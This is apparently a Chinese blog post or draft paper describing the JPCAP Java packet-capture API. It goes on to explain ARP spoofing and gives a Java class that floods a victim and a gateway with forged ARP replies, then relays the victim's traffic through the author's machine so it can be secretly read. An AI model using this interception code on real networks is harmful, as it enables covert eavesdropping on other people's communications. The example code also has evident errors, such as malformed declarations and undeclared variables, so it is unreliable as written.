天天看點

JPCAP——JAVA中的資料鍊路層控制

  半年前網絡技術課的老師要我們做個ARP查詢,老師是教人用winsock的,可我一味鑽java,幹着急,鑽進java世界到處查,終于找到這麼一個東西。

然後做了一個ARP監聽器,沒想到被老師看上了,說是國内JPCAP研究的人不多,可以考慮寫一篇論文,老師給我推薦發表。

于是有了這麼一篇東西。不過現在還不知道老師發哪個刊物去了。。。老師說,還沒回音。。

JPCAP —— JAVA 中的資料鍊路層控制   一. JPCAP 簡介 衆所周知,JAVA語言雖然在TCP/UDP傳輸方面給予了良好的定義,但對于網絡層以下的控制,卻是無能為力的。JPCAP擴充包彌補了這一點。 JPCAP實際上并非一個真正去實作對資料鍊路層的控制,而是一個中間件,JPCAP調用wincap/libpcap,而給JAVA語言提供一個公共的接口,進而實作了平台無關性。在官方網站上聲明,JPCAP支援FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系統。 二. JPCAP 機制        JPCAP的整個結構大體上跟wincap/libpcap是很相像的,例如NetworkInterface類對應wincap 的 typedef struct _ADAPTER  ADAPTER , getDeviceList() 對應pcap_findalldevs()等等。 JPCAP有16個類,下面就其中最重要的4個類做說明。   1. NetworkInterface 該類的每一個執行個體代表一個網絡裝置,一般就是網卡。這個類隻有一些資料成員,除了繼承自java.lang.Object的基本方法以外,沒有定義其它方法。  

資料成員
NetworkInterfaceAddress[] addresses     這個接口的網絡位址。設定為數組應該是考慮到有些裝置同時連接配接多條線路,例如路由器。但我們的PC機的網卡一般隻有一條線路,是以我們一般取addresses[0]就夠了。
 java.lang.String datalink_description .     資料鍊路層的描述。描述所在的區域網路是什麼網。例如,以太網(Ethernet)、無線LAN網(wireless LAN)、令牌環網(token ring)等等。
 java.lang.String datalink_name    該網絡裝置所對應資料鍊路層的名稱。具體來說,例如Ethernet10M、100M、1000M等等。
 java.lang.String description    網卡是XXXX牌子XXXX型号之類的描述。例如我的網卡描述:Realtek RTL8169/8110 Family Gigabit Ethernet NIC
 boolean Loopback     标志這個裝置是否loopback裝置。
 byte[] mac_address     網卡的MAC位址,6個位元組。
 java.lang.String Name     這個裝置的名稱。例如我的網卡名稱:/Device/NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}

  2. JpcapCaptor 該類提供了一系列靜态方法實作一些基本的功能。該類一個執行個體代表建立了一個與指定裝置的連結,可以通過該類的執行個體來控制裝置,例如設定網卡模式、設定過濾關鍵字等等。  

資料成員

 int

dropped_packets 

抛棄的包的數目。

protected  int

ID

這個資料成員在官方文檔中并沒有做任何說明,檢視 JPCAP 源代碼可以發現這個 ID 實際上在其 JNI 的 C 代碼部分傳進來的,這類本身并沒有做出定義,是以是供其内部使用的。實際上在對 JpcapCator 執行個體的使用中也沒有辦法調用此資料成員。

protected static boolean[]

instanciatedFlag

   同樣在官方文檔中沒有做任何說明,估計其為供内部使用。

protected static int

MAX_NUMBER_OF_INSTANCE

同樣在官方文檔中沒有做任何說明,估計其為供内部使用。

int

received_packets

         收到的包的數目

方法成員

static NetworkInterface[]

getDeviceList

()

           傳回一個網絡裝置清單。

static JpcapCaptor

openDevice

(NetworkInterface interface, int snaplen, boolean promisc, int to_ms)

         建立一個與指定裝置的連接配接并傳回該連接配接。注意,以上兩個方法都是靜态方法。       Interface :要打開連接配接的裝置的執行個體;       Snaplen :這個是比較容易搞混的一個參數。其實這個參數不是限制隻能捕捉多少資料包,而是限制每一次收到一個資料包,隻提取該資料包中前多少位元組;       Promisc :設定是否混雜模式。處于混雜模式将接收所有資料包,若之後又調用了包過濾函數 setFilter() 将不起任何作用;       To_ms :這個參數主要用于 processPacket() 方法,指定逾時的時間;

 void

Close

()

           關閉調用該方法的裝置的連接配接,相對于 openDivece() 打開連接配接。

 JpcapSender

getJpcapSenderInstance

()

          該傳回一個 JpcapSender 執行個體, JpcapSender 類是專門用于控制裝置的發送資料包的功能的類。

 Packet

getPacket

()

           捕捉并傳回一個資料包。這是 JpcapCaptor 執行個體中四種捕捉包的方法之一。

 int

loopPacket

(int count, PacketReceiver handler)

          捕捉指定數目的資料包,并交由實作了 PacketReceiver 接口的類的執行個體處理,并傳回捕捉到的資料包數目。如果 count 參數設為- 1 ,那麼無限循環地捕捉資料。       這個方法不受逾時的影響。還記得 openDivice() 中的 to_ms 參數麼?那個參數對這個方法沒有影響,如果沒有捕捉到指定數目資料包,那麼這個方法将一直阻塞等待。 PacketReceiver 中隻有一個抽象方法 void receive(Packet p) 。

 int

processPacket

(int count, PacketReceiver handler)

           跟

loopPacket

()

功能一樣,唯一的差別是這個方法受逾時的影響,超過指定時間自動傳回捕捉到資料包的數目。

 int

dispatchPacket

(int count, PacketReceiver handler)

         跟

processPacket

()

功能一樣,差別是這個方法可以處于“non-blocking”模式工作,在這種模式下dispatchPacket()可能立即傳回,即使沒有捕捉到任何資料包。

 void

setFilter

(java.lang.String condition, boolean optimize)

          .

condition

設定要提取的包的關鍵字。       

Optimize

:這個參數在說明文檔以及源代碼中都沒有說明,隻是說這個參數如果為真,那麼過濾器将處于優化模式。

 void

setNonBlockingMode

(boolean nonblocking)

     如果值為“ true ”,那麼設定為“ non-blocking ”模式。

 void

breakLoop

()      當調用 processPacket() 和 loopPacket() 後,再調用這個方法可以強制讓 processPacket() 和 loopPacket() 停止。

  3. JpcapSender 該類專門用于控制資料包的發送。  

方法成員

 void

close

()

          強制關閉這個連接配接。

static JpcapSender

openRawSocket

()

     這個方法傳回的 JpcapSender 執行個體發送資料包時将自動填寫資料鍊路層頭部分。

 void

sendPacket

(Packet packet)

          JpcapSender 最重要的功能,發送資料包。需要注意的是,如果調用這個方法的執行個體是由 JpcapCaptor 的

getJpcapSenderInstance

()

得到的話,需要自己設定資料鍊路層的頭,而如果是由上面的openRawSocket()

得到的話,那麼無需也不能設定,資料鍊路層的頭部将由系統自動生成。

  4. Packet 這個是所有其它資料包類的父類。Jpcap所支援的資料包有:

ARPPacket 、 DatalinkPacket 、 EthernetPacket 、 ICMPPacket 、 IPPacket 、 TCPPacket 、 UDPPacket   三.使用JPCAP 實作監聽        1 .監聽原理        在詳細說用JPCAP實作網絡監聽實作前,先簡單介紹下監聽的原理。        區域網路監聽利用的是所謂的“ARP欺騙”技術。在以前曾經一段階段,區域網路的布局是使用總線式(或集線式)結構,要到達監聽隻需要将網卡設定為混雜模式即可,但現在的區域網路絡普遍采用的是交換式網絡,是以單純靠混雜模式來達到監聽的方法已經不可行了。是以為了達到監聽的目的,我們需要“欺騙”路由器、“欺騙”交換機,即“ARP欺騙”技術。        假設本機為A,監聽目标為B。 首先,僞造一個ARP REPLY包,資料鍊路層頭及ARP内容部分的源MAC位址填入A的MAC位址,而源IP部分填入網關IP,目的位址填入B的MAC、IP,然後将這個包發送給B,而B接收到這個僞造的ARP REPLY包後,由于源IP為網關IP,于是在它的ARP快取記錄裡重新整理了一項,将(網關IP,網關MAC)重新整理成(網關IP,A的MAC)。而B要通路外部的網都需要經過網關,這時候這些要經過網關的包就通通流到A的機器上來了。 接着,再僞造一個ARP REPLY包,資料鍊路層頭及ARP内容部分的源MAC位址填入A的MAC位址,而源IP部分填入B的IP,目的位址填入網關MAC、IP,然後将這個包發給網關,網關接收到這個僞造的ARP REPLY包後,由于源IP為B的IP,于是在它的ARP快取記錄裡重新整理了一項,将(B的IP,B的MAC)重新整理成(B的IP,A的MAC)。這時候外部傳給B的資料包經過網關時,就通通轉發給A。 這樣還隻是攔截了B的資料包而已,B并不能上網——解決方法是将接收到的包,除了目的位址部分稍做修改,其它原封不動的再轉發出去,這樣就達到了監聽的目的——在B不知不覺中浏覽了B所有的對外資料包。   ARP 資料包解析 單元: Byte

Ethernet 頭部 ARP 資料部分
2 2 2 2
目标 MAC 位址 源地 MAC 位址 類型号 0x0800:ip 0x0806:ARP 區域網路類型 以太網 0x0001 網絡協定類型 IP 網絡 0x0800 MAC/IP 位址長度,恒為 0x06/04 ARP 包類型 REPLY 0x0002 ARP 目标 IP 位址 ARP 目标 MAC 位址 ARP 源 IP 位址 ARP 源 MAC 位址

  2 .用JPCAP 實作監聽        就如上面說的,為了實作監聽,我們必須做四件事: A.發送ARP包修改B的ARP快取記錄; B.發送ARP包修改路由ARP快取記錄; C.轉發B發過來的資料包; D.轉發路由發過來的資料包;   下面我們給個小小的例子說明怎樣實作。 我們假定運作這個程式的機器A隻有一個網卡,隻接一個網絡,所在區域網路為Ethernet,并且假定已經通過某種方式獲得B和網關的MAC位址(例如ARP解析獲得)。我們修改了B和網關的ARP表,并對他們的包進行了轉發。 public class changeARP{          private NetworkInterface[] devices;                           // 裝置清單          private NetworkInterface device;                               // 要使用的裝置          private JpcapCaptor jpcap;                                        // 與裝置的連接配接          private JpcapSender sender;                                       // 用于發送的執行個體          private byte[] targetMAC, gateMAC;                       //B 的 MAC 位址,網關的 MAC 位址          private byte[] String targetIp, String gateIp;              //B 的 IP 位址,網關的 IP 位址                   private NetworkInterface getDevice() throws IOException {                   devices = JpcapCaptor.getDeviceList();                                                 // 獲得裝置清單                    device = devices[0];                                                                                // 隻有一個裝置                    jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);             // 打開與裝置的連接配接                    jpcap.setFilter(“ip”,true);                                                                       // 隻監聽 B 的 IP 資料包                    sender = captor.getJpcapSenderInstance();          }                   public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)                             throws UnknownHostException,InterruptedException {                    this. targetMAC =  targetMAC;                    this. targetIp =  targetIp;                    this. gateMAC = gateMAC;                    this. gateIp = gateIp;                    getDevice();                    arpTarget = new ARPPacket();                                                     // 修改 B 的 ARP 表的 ARP 包                    arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;          // 選擇以太網類型 (Ethernet)                    arpTarget.prototype = ARPPacket.PROTOTYPE_IP;                // 選擇 IP 網絡協定類型                    arpTarget.operation = ARPPacket.ARP_REPLY;                         // 選擇 REPLY 類型                    arpTarget.hlen = 6;                                                                        //MAC 位址長度固定 6 個位元組                    arpTarget.plen = 4;                                                                        //IP 位址長度固定 4 個位元組                    arpTarget.sender_hardaddr = device.mac_address;                       //A 的 MAC 位址                    arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress();       // 網關 IP                    arpTarget.target_hardaddr = targetMAC;                                               //B 的 MAC 位址                    arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress();     //B 的 IP                      EthernetPacket ethToTarget = new EthernetPacket();                  // 建立一個以太網頭                    ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; // 選擇以太包類型                    ethToTarget.src_mac = device.mac_address;                                 //A 的 MAC 位址                    ethToTarget.dst_mac = targetMAC;                                             //B 的 MAC 位址                    arpTarget.datalink = ethToTarget;                                                 // 将以太頭添加到 ARP 包前                      arpGate = new ARPPacket();                                                                 // 修改網關 ARP 表的包                    arpGate.hardtype = ARPPacket.HARDTYPE_ETHER;             // 跟以上相似,不再重複注析                    arpGate.prototype = ARPPacket.PROTOTYPE_IP;                    arpGate.operation = ARPPacket.ARP_REPLY;                    arpGate.hlen = 6;                    arpGate.plen = 4;                    arpGate.sender_hardaddr = device.mac_address;                    arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();                    arpGate.target_hardaddr = gateMAC;                    arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();                      EthernetPacket ethToGate = new EthernetPacket();                    ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;                    ethToGate.src_mac = device.mac_address;                    ethToGate.dst_mac = gateMAC;                    arpGate.datalink = ethToGate;                                       thread=new Thread(new Runnable(){                                 // 建立一個程序控制發包速度                             public void run() {                                       while (true) {                                                sender.sendPacket(arpTarget);                                                sender.sendPacket(arpGate);                                                Thread.sleep(500);                    }).start();                    recP();                                                                                   // 接收資料包并轉發 } private void send(Packet packet, byte[] changeMAC) {                                          EthernetPacket eth;                    if (packet.datalink instanceof EthernetPacket) {                             eth = (EthernetPacket) packet.datalink;                             for (int i = 0; i < 6; i++) {                                      eth.dst_mac[i] = changeMAC[i];                      // 修改包以太頭,改變包的目标                                      eth.src_mac[i] = device.mac_address[i];            // 源發送者為 A                             }                             sender.sendPacket(packet);                    } } public void recP(){          IPPacket ipPacket = null;          while(true){                   ipPacket = ( IPPacket ) jpcap.getPacket();                             System.out.println(ipPacket);                            if (ipPacket.src_ip.getHostAddress().equals(targetIp))                                      send(packet, gateMAC);                             else                                      send(packet, targetMAC);                    } }   注意:這個例子隻是為了說明問題,并沒有考慮到程式的健壯性,是以并不一定能在任何一台機器任何一個系統上運作。